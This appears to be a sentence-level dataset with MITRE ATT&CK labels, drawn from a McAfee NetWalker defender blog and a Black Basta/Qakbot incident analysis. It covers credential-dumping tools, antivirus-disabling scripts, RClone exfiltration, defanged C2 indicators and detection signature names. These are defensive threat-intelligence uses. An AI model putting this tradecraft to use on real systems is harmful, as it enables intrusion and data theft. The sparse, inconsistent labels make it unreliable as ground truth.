{"sentence": "CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR Defensive Evasion Deobfuscate/Decode Files or Information (T1140) CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR Defensive Evasion Obfuscated Files or Information (T1027): PowerShell Script uses Base64 and hexadecimal encoding and XOR-encryption CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR Credential Access Credential Dumping (T1003) Mimikatz, Mimidogz, Mimikittenz, Pwdump, LaZagne, Windows Credentials CSC 4 Controlled Use of Admin Privileges CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Credential Access Brute Force (T1110)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "NL Brute CSC 4 Controlled use of admin privileges CSC 16 Account Monitoring Enterprise Security Manager – Log Analysis Impact Stage Defensive Overview", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The impact stage is where the attacker encrypts the target system, data and perhaps moves laterally to other systems on the network.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Protection at this stage is heavily dependent on adaptable anti-malware on both end user devices and servers, network controls and security operation’s capability to monitor logs for anomalies in privileged access or network traffic.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The following chart summarizes the controls expected to have the most effect against impact stage techniques and the McAfee solutions to implement those controls where possible.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "MITRE Tactic MITRE Techniques CSC Controls McAfee Portfolio Mitigation Discovery Network Service Scanning (T1046) Network Scanner CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Endpoint Security Platform 10.7, Threat Prevention, Application Control (MAC), Network Security Platform Lateral Movement Third Party Software (T1072) TeamViewer, Anydesk CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Endpoint Security Platform 10.7, Threat Prevention, Network Security Platform Lateral Movement Service Execution (T1035) PS Exec CSC 5 Secure Configuration CSC 8 Malware Defenses CSC 12 Boundary Defenses Endpoint Security Platform 10.7, Threat Prevention, MVISION EDR Collection Data from Information Repositories (T1213)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 4 Control Admin Privileges CSC 5 Secure Configuration CSC 6 Log Analysis Enterprise Security Manger – Log Collection and Analysis Collection Data from local system (T1005)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 4 Control Admin Privileges CSC 5 Secure Configuration CSC 6 Log Analysis Endpoint Security Platform 10.7, Threat Prevention, MVISION EDR Collection Data from network shared drive (T1039)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 4 Control Admin Privileges CSC 5 Secure Configuration CSC 6 Log Analysis Endpoint Security Platform 10.7, Threat Prevention, MVISION EDR Command and Control Ingress Tool Transfer (T1105)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "CSC 8 Malware Defenses CSC 12 Boundary Defenses Web Gateway, Network Security Platform Impact Data Encrypted (T1486) Netwalker Ransomeware CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR, Web Gateway Impact Inhibit System Recovery (T1490) Shadow CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR, Web Gateway Hunting for NetWalker Indicators", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As a threat intel analyst or hunter, you might want to quickly scan your systems for any of NetWalker indicators.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Of course, you can do that manually by downloading a list of indicators and searching with available tools.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "However, if you have MVISION EDR, you will be able to that search right from Insights, saving precious time.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Hunting the attacker can be a game of inches so every second counts.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Of course, if you found infected systems or systems with indicators, you can take action to contain and start an investigation for incident response immediately from the MVISION EDR console.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Proactively Detecting NetWalker Techniques Many of the exploit stage techniques in this attack use legitimate Windows tools or valid accounts to either exploit, avoid detection or move laterally.", "labels": ["T1078"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "These techniques are not easily prevented but can be detected using MVISION EDR.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As security analysts, we want to focus on suspicious techniques, such as PowerShell, used to download files… or execute scripts… or evade defenses… Monitoring or Reporting on NetWalker Events Events from McAfee Endpoint Protection and Web Gateway play a key role in NetWalker incident and threat response.", "labels": ["T1105"], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "McAfee ePO centralizes event collection from all managed endpoint systems.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "As a threat responder, you may want to create a dashboard for NetWalker-related threat events to understand current exposure.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "Here is a list (not exhaustive) of NetWalker-related threat events as reported by Endpoint Protection Platform Threat Prevention Module and McAfee Web Gateway.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "McAfee Endpoint Threat Prevention Events Ransom-NetW!AB8D59ABA3DC GenericRXKU-HO!E33E060DA1A5 PS/Netwalker.a Ransom-NetW!1B6A2BFA39BC Artemis!2F96F8098A29 GenericRXKD-DA!645C720FF0EB GenericRXKD-DA!4E59FBA21C5E Ransom-NetW!A9E395E478D0 Ransom-NetW!A0BC1AFED896 PS/Netwalker.c Artemis!F5C877335920 GenericRXKD-DA!B862EBC24355 Artemis!2F96F8098A29 GenericRXKD-DA!63EB7712D7C9 RDN/Ransom GenericRXKD-DA!F0CC568491CD Artemis!0FF0D5085F7E GenericRXKD-DA!9172586C2F87 RDN/Generic.dx Ransom-NetW!BFF6F7B3A7DB Ransom-NetW!7B77B436360A GenericRXKD-DA!BC75859695F6 GenericRXKD-DA!FCEDEA8111AB GenericRXKD-DA!5ABF6ED342FD PS/Netwalker.d GenericRXKD-DA!C0DDA75C6EAE GenericRXKD-DA!ADDC865F6169 GenericRXKD-DA!DBDD7A1F53AA Artemis!1527DAF8626C GenericRXKD-DA!608AC26EA80C Ransom-NetW!3A601EE68000 GenericRXKD-DA!8102821249E1 Ransom-NetW!2E2F5FE8ABA4 GenericRXKD-DA!F957F19CD9D7 GenericRXKD-DA!3F3CC36F4298 GenericRXKD-DA!9001DFA8D69D PS/Agent.bu GenericRXKD-DA!5F55AC3DD189 GenericRXKD-DA!18C32583A6FE GenericRXKD-DA!01F703234047 Ransom-NetW!62C71449FBAA GenericRXKD-DA!6A64553DA499 GenericRXKD-DA!0CBA10DF0C89 Artemis!50C6B1B805EC PS/Netwalker.b GenericRXKD-DA!59B00F607A75 Artemis!BC96C744BD66 GenericRXKD-DA!DE0B8566636D Ransom-NetW!8E310318B1B5 GenericRXKD-DA!0537D845BA09 GenericRXKU-HO!DE61B852CADA GenericRXKD-DA!B4F8572D4500 PS/Netwalker.c GenericRXKD-DA!D09CFDA29F17 PS/Agent.bx GenericRXKD-DA!0FF5949ED496 GenericRXKD-DA!2B0384BE06D2 GenericRXKD-DA!5CE75526A25C GenericRXKD-DA!BDC345B7BCEC Ransom-CWall!993B73D6490B GenericRXKD-DA!0E611C6FA27A GenericRXKU-HO!961942A472C2 Ransom-NetW!291E1CE9CD3E Ransom-Mailto!D60D91C24570 PS/Agent.bu GenericRXKU-HO!997F0EC7FCFA PS/Agent.bx Ransom-CWall!3D6203DF53FC Ransom-Netwalker Ransom-NetW!BDE3EC20E9F8 Generic .kk GenericRXKU-HO!1DB8C7DEA2F7 GenericRXKD-DA!DD4F9213BA67 GenericRXKD-DA!729928E6FD6A GenericRXKU-HO!9FB87AC9C00E GenericRXKU-HO!187417F65AFB PS/Netwalker.b McAfee Web Gateway Events RDN/Ransom BehavesLike.Win32.RansomCWall.mh BehavesLike.Win32.Generic.kh Ransom-NetW!1B6A2BFA39BC BehavesLike.Win32.MultiPlug.kh Ransom:Win32/NetWalker.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "H!rsm BehavesLike.Win32.Generic.qh BehavesLike.Win32.Trojan.kh GenericRXKD-DA!DD4F9213BA67 BehavesLike.Win32.Ipamor.kh BehavesLike.Win64.Trojan.nh BehavesLike.Win32.Generic.cz RDN/Generic.dx BehavesLike.Win32.RansomCWall.mm BehavesLike.Win64.BadFile.nh BehavesLike.Win32.Generic.dm Summary Ransomware has evolved into a lucrative business for threat actors, from underground forums selling ransomware, to offering services such as support portals to guide victims through acquiring crypto currency for payment, to the negotiation of the ransom.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "However, just as attackers work together, defenders must collaborate internally and externally to build an adaptive security architecture which will make it harder for threat actors to succeed and build resilience in the business.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "This blog highlights how to use McAfee’s security solutions to prevent, detect and respond to NetWalker and attackers using similar techniques.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "The post McAfee Defender’s Blog: NetWalker appeared first on McAfee Blog.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"}
{"sentence": "INTRODUCTION Quadrant was recently able to aid a client during an organization wide compromise by the Black Basta ransomware group.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This group is a “Ransomware as a Service” (RaaS) organization known to target medium and large companies.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The following contains an overview of the compromise as it progressed, as well a technical analysis of the malware and techniques observed, ranging from a successful phishing campaign to the attempted ransomware detonation.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although some exact details of the threat actor’s actions are still unknown, the evidence gathered has allowed for inferences into many of the gaps.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The names of all clients, all accounts, and some files have been modified for client confidentiality.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Indicators of compromise, including malicious domain names, have not been modified.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Any log modification has been made to redact client information, break potential links, or for readability.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "RELATED TO THIS STORY", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The timeline below shows a high-level overview of the incident: INITIAL ACCESS The Threat Actor began this attack by compromising a user account at a third-party vendor (TPV).", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although little is known to Quadrant about the compromise on the TPV, access allowed for the use of an \"info@\" account.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The use of such an account would have allowed the Threat Actor to pose as the compromised user without creating extra \"junk\" in the user's inbox which could raise suspicion.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following initial phishing emails, the threat actor continued to submit additional phishing emails to the client via similar account names from different domains.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Both samples reached their victims shortly after noon on the 20th of September", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The phishing emails contained what was later determined to be \"Qakbot,\" a sophisticated trojan.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following the infection, these hosts began to beacon on out to over 100 IP's using various ports.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The client’s Cisco “Advanced Malware Protection” (AMP) detected a connection with one of these IP's over TCP port 2222.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although this did trigger an alert in AMP, the Quadrant ingestion of these logs was not configured, so this did not generate an alert through the Sagan Solution.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The Suricata engine did detect these connection attempts, however no alert was raised by the Packet Inspection Engine.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Quadrant monitors companies' ingress and egress traffic using onsite Packet Inspection Engine (PIE) appliances running the Suricata Detection engine.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although many other rulesets are used to screen for malicious activity, Quadrant has custom rules in place to detect SSH over nonstandard ports, such as TCP 2222.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "These rules did not fire due to the absence of an SSH header in the traffic.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "One may assume that traffic over 2222 would be SSH traffic, however further analysis of the traffic generated by the Qakbot Sample in the lab shows that this connection was likely HTTPS in nature.", "labels": ["T1071.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Eventually, the malware was able to find an active C2 server.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It took about 35 minutes between initial infection and the first successful communication between a compromised host and the C2 domain.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The second stage payload, which was later determined to likely be the penetration testing framework \"Brute Ratel,\" was then downloaded via a connection to an IP from Russia.", "labels": ["T1105"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "PERSISTENCE AND ESCALATION OF PRIVILEGE Following the compromise of two hosts and gaining a foot hold, lateral movement began.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The client's full infrastructure is comprised of three domains: Construction, Commerce, and a Subsidiary.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Both initial compromised hosts were in the Construction environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "These domains had shared trust and were connected via VPN tunnels which allowed the threat actor to move freely between domains.", "labels": ["T1078"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "We believe that multiple methods and tools were leveraged in order to do this.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "At this point, visibility becomes muddled due to the focus of observation and detection is ingress and egress traffic.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, following the investigation into the recorded logs and the follow-on detailed analysis of malware samples, we can make educated guesses on some of the missing pieces.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Initial lateral movement and the lay of the land was likely conducted using Brute Ratel.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This was determined through a review of files found on one of the initially compromised hosts.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "One file, \"zfgufgfvezdnbcvjkzctpvfdj.dll,\" matches the hash of previously submitted Brute Ratel samples.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Due to the lack of visibility, we were unable to find the initial connection from the two \"Patient Zeros\" to the local Domain Controller.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, after reaching the local DC, the attacker was able to gain a better lay of the land and observe the presence of the other two domains.", "labels": ["T1078"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Initial Command and Control was conducted from \"23[.]19[.]58[.]43\"[zedorocop[.]com] and \"23[.]106[.]160[.]141\" [danimos[.]com].", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The IP’s used for C2 and the level of interaction changed over time as the compromise grew.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "For example, mid-stage infections showed calls to \"146[.]70[.]86[.]44\"[gerhiles[.]com].", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It’s important to note that the FQDN’s that were used as C2 were all registered the same month as the compromise.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Multiple administrative and system accounts were compromised during this incident.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "One possible explanation for this comes from “Kerberoasting”.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This technique was observed in the Commerce environment through a sharp incline of Kerberos requests using RC4 encryption.", "labels": ["T1573.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "We do not believe that this was successful in this environment, due in part to the lack of additional signs of compromise specific to this Domain.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, this technique was likely performed on the other two client domains where visibility gaps existed.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This is further supported by the source and destination of these requests were cross domain: The source of the “Kerberoasting” was based in the Subsidiary environment and the Domain Controller that was attacked was in the Commerce environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Once administrative access had been achieved, the threat actor also added new administrative accounts to the environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "PROPAGATION Unknown to everyone but the attacker, multiple files were being transmitted throughout the environment: Two file names were observed during the incident \"Client_s.exe\" and \"Client.exe.\"", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It is expected that the different naming schemes are related to the different variations of the Black Basta ransomware.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although no sample was able to be provided for the Client.exe (which is believed to be the ESXi variant), Quadrant was able to obtain a copy of \"Client_s.exe\" for Windows hosts.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Two \".bat\" files were sent throughout the organization.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Both were designed to turn off antivirus and anti-malware software.", "labels": ["T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "One does not use any obfuscation and just contains the simple command to stop Cisco AMP Orbital.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This could indicate that it was written hastily in order to get it onto the target environments quickly.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The other, targeting Windows Defender, required multiple steps in order to view the commands.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Tox5, which appeared to be a component of Cobalt Strike, as well as Cobalt Strike beacon with the name of \"Ticket-5731.xls.\" These files continued to replicate throughout the organization though the use of Server qMessage Block (SMB), eventually spreading to almost every endpoint and server in two of the three domains.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The attack on the Commerce domain does not appear to have been effective, outside of one host in a training environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Most hosts in the Commerce environment HAD more restrictions placed on their operating system by default which likely contributed to the lack of success by the threat actors in the Commerce environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "EXFILTRATION", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Once a file server was identified, an FTP connection was established to an external site.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This was not used for C2 activities but only for receiving the exfiltrated data.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Suricata logs show that “RClone” was downloaded on the file servers in order to facilitate exfiltration of the logs.", "labels": ["T1105"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "RClone is designed to transfer large volumes of data from one host to the cloud with ease.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This legitimate program was abused by the attacker to steal client data.", "labels": ["T1005"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "DETECTION AND RESPONSE The most critical asset of the Security Operations Center is the human SOC Analyst.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A human can look at the totality of a situation and make a judgement call that no AI or automated process can.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "From the analyst's perspective, the only alert that was generated and brought to the SOC was a Suricata FTP rule looking for CVE 1999-0911, related to an overflow using the MKD command.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This FTP command is defined as \"...causes the directory specified in the pathname to be created on the server.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "If the specified directory is a relative directory, it is created in the client's current working directory.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "\" Although many old signatures are decommissioned or otherwise suppressed, Quadrant leaves some rules in place as \"hunting\" rules.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "These are more focused on the overall techniques or \"odd\" traffic that could be an indicator of compromise.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "In this case, the analyst investigating the alert observed that this was technically a False Positive, as the command was not used in an abnormal fashion.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, looking at the destination, which had not been previously observed in the environment, the file names (which were quite varied), and the volume of the files outbound, the analyst decided to call the client to err on the side of caution.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Had the analyst not conducted their due diligence or had this archaic signature been suppressed, it is highly likely that this compromise would not have been detected until after the encryption process had begun.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The current list of rules developed following this incident can be found in I The alert was submitted at 18:27 EDT on 9/21/2022.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Just over 30 hours after the initial infection.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The client determined it to be out of the ordinary but was unaware of the extent of the compromise.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, during the course of the evening, it became apparent that something was greatly amiss.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The following morning, the client’s CISO contacted the Quadrant team to report that there was indeed an active compromise within their environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The client provided malware samples from the phishing emails and the analysis began.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Threat hunting was conducted within the logs.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A dedicated “out of bands” communications channel was established between Quadrant and the clients.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "As more evidence was uncovered, the full threat began to be realized.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "One aspect of the actions taken by the Incident Response team was a live log review.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The term \"look for anything suspicious\" is often a nightmare of a request, because how does one truly define suspicious without a base line.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, with the amount of knowledge of the situation and years of experience on his side, a member of the I.R. team decided to look at the raw logs in real time to see if anything stood out.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Windows Event logs and “clipboard” logs are collected using NXLog Enterprise.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "While clipboard logs are not stored on the local host, they are sent to the Sagan Log Analysis Engine for further analysis and retention.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "While examining this data, the I.R. team member became aware of the use of RDP by the Threat Actor by observing RDPClip.exe logging that looked, by definition, incredibly suspicious.", "labels": ["T1021.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Among the many “clipboard” logs observed, \"Client.exe -bomb,\" stood out.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although the full extent of the command was not realized at the time, due to the implied malice it was decided that now was the time to attempt to purge the threat actor.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The Clients response team locked out the accounts that were known to be compromised.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, the threat actor had complete control over the environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following the initial attempt to lock out the threat actor, the threat actor retaliated.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This resulted in a catastrophic lockout of the client's staff and administrators.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This was not completely unexpected.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Knowing that there was an ongoing data exfiltration attempt along with a full network compromise with a relatively short “dwell” time, plans had been put into place to restrict all access to the network in order to mitigate and prevent the threat actor from doing more damage.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The client's staff was simply waiting on the “order” to halt the network.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "After quick conference between Quadrant and the client, all parties agreed and the decision was made: At approximately 8:45pm on September 22, only 56 hours after the initial phishing email had been opened, the physical cables from between the domains as well as their connection to the Internet were pulled.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Because of the observation, hunting, and superior teamwork between the Quadrant team and the client, only a handful of ESXi servers were encrypted.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Had the team not taken action to sever the Internet and domain connections, the encryption command would likely have replicated throughout the Construction and Subsidiary environments.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "With the assistance of a third-party incident response firm and constant ongoing contact with the Quadrant team, the client was able to slowly, systematically, and safely bring their servers on-line while purging any remains of the threat actor over the course of the next two weeks.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Ultimately, this was considered a success in defense of the client.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "But there were many lessons learned.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Through the later review of the logging and after-action analysis of the event, more detections rules have been created to better alert on what visibility does exist in this, and many other, client environments.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "TECHNICAL ANALYSIS INITIAL ACCESS: QAKBOT INFECTION", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The two phishing samples provided by the client show two different techniques: Email response as part of an Email Chain: \"Re: RE: Logistics\":", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The phishing email came from a legitimate vendor \"stoneworkers\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The phishing attachment was submitted to the target in a response to an ongoing conversation that was being held between a member of Quadrant’s client and the TPV.", "labels": ["T1566.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The attacker submitted the email from \"info[@]stoneworkers[.]org\" while posing as \"jpeterman[@]stoneworkers[.]org\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The email had applicable context and the email chain contains back and forth to another member of the TPV as well.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Cold Email: \"Solution for Issue 37\":", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The phishing email came with no pretext from a site not used by the client.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, it is important to note that the site seems to be owned by a legitimate venture capital group, which may indicate a compromise of their organization or that the email account was spoofed.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The attacker submitted the email from \"support[@]capitalizedadventures[.]com\" while posing as \"Jay Peterman\".", "labels": ["T1566.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "From the two phishing emails, both attachments contain similar malware.", "labels": ["T1566.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Only changes to the filenames and corresponding commands were observed between the two.", "labels": ["T1027"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "When downloaded, the initial attachment is a local HTML file.", "labels": ["T1027"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The web page claims to be an adobe site and that the attached document is a PDF which is password protected: Using the password \"abc888\" to unzip the attachment, the user is presented with an ISO file.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The two samples produced different ISO names: Claim_Copy_1796.iso and Claim_Copy_5898.iso.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The subdirectories to the fathomed directory, elude, omicron, and shabbily, are all empty as confirmed by navigating to them and running \"ls -a\" and returning no files.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This was verified through \"du -h\" which resulted in 4.0k size, which is consistent of an empty directory.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "When opened in a Windows environment the following is displayed: The ISO mounts as a DVD Drive.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
